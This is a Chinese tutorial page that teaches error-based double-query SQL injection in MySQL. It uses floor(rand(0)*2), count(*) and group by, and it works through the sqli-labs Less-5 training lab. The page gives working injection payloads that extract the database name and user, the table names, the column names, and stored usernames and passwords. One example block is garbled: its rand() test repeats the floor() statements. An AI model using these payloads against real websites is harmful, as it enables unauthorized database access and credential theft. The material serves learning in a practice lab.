mysql get基于报错的盲注方法是什么

发布时间:2021-12-04 11:43:53 作者:iii
来源:亿速云 阅读:183

这篇文章主要讲解了“mysql get基于报错的盲注方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“mysql get基于报错的盲注方法是什么”吧!

报错注入

报错注入就是在注入过程中黑客根据错误回显进行判断。 形式上是两个嵌套的查询,即select...(select...),里面的select被称为子查询,他的执行顺序也是先执行子查询,然后再执行行外面的select,双注入主要涉及到一下sql函数:

rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by clause分组语句,按照查询结果分组
通过报错来显示出具体的信息。
查询的时候如果使用rand()的话,该值会被计算多次。在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。

less-5为例演示

首先使用报错注入:构造语句

1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

显示结果

mysql get基于报错的盲注方法是什么

输入: select concat('qwe','abc');

mysql get基于报错的盲注方法是什么

看到将qwe和abc拼接在一起

然后测试一下rand()这个随机函数:

输入语句:select floor(1.2343232);select floor(3.893);

mysql get基于报错的盲注方法是什么

一共输入的三次,每次输出的数都是随机,但是这些数都是大于0,小于1的数

然后测试一下floor()函数

输入语句:select floor(1.2343232);select floor(3.893);

mysql get基于报错的盲注方法是什么

输出的都是小于或者等于输入的数

然后测试一下双注入查询的组合

输入的语句:select floor(rand()*2);

mysql get基于报错的盲注方法是什么

分析一下,从里往外走,rand()*2永远不可能等于2,不可能小于0;所以floor取整就是1,或者就是0

在深入一下,测试:

select concat((select database()),floor(rand()*2));

mysql get基于报错的盲注方法是什么

看到concat将数据库和后面的取整,合并在一起了。 同理,在less-5的第一个报错语句concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a

mysql get基于报错的盲注方法是什么

0x3a是:号,所以就将他们拼接起来。

下面,加上group by语句。

select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

mysql get基于报错的盲注方法是什么

as a就是将查询的concat((select database()), floor(rand()*2))名字另取a;然后用group by a进行分组。这样相同的security0和security1分别分成一组,也就是两组,也是两种结果。

然后我们加上聚合函数count(*)

select count(*),concat((select database()), floor(rand(0)*2))as a from information_schema.tables group by a;

mysql get基于报错的盲注方法是什么

同理,less-5第一报错:

mysql get基于报错的盲注方法是什么

参考教程

1.爆出数据库

构造语句:

1' union select 1,2,3 from (select count(*),concat((select concat(0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

页面显示:

mysql get基于报错的盲注方法是什么

2.爆出表

构造语句:

1' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

mysql get基于报错的盲注方法是什么

3.爆出列名

构造语句:

1' union select 1,2,3 from (select count(*),concat((select concat(column_name,0x3a,0x3a) from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a --+

mysql get基于报错的盲注方法是什么

4.获取用户信息

构造语句:

1' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

感谢各位的阅读,以上就是“mysql get基于报错的盲注方法是什么”的内容了,经过本文的学习后,相信大家对mysql get基于报错的盲注方法是什么这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是亿速云,小编将为大家推送更多相关知识点的文章,欢迎关注!

推荐阅读:
  1. 如何在Centos7下安装MySQL5.7
  2. MYSQL注入主要有哪些分类

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

mysql get

上一篇:安装完WordPress后你应该做好哪些事情

下一篇:Java BoxLayout布局管理器怎么使用

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》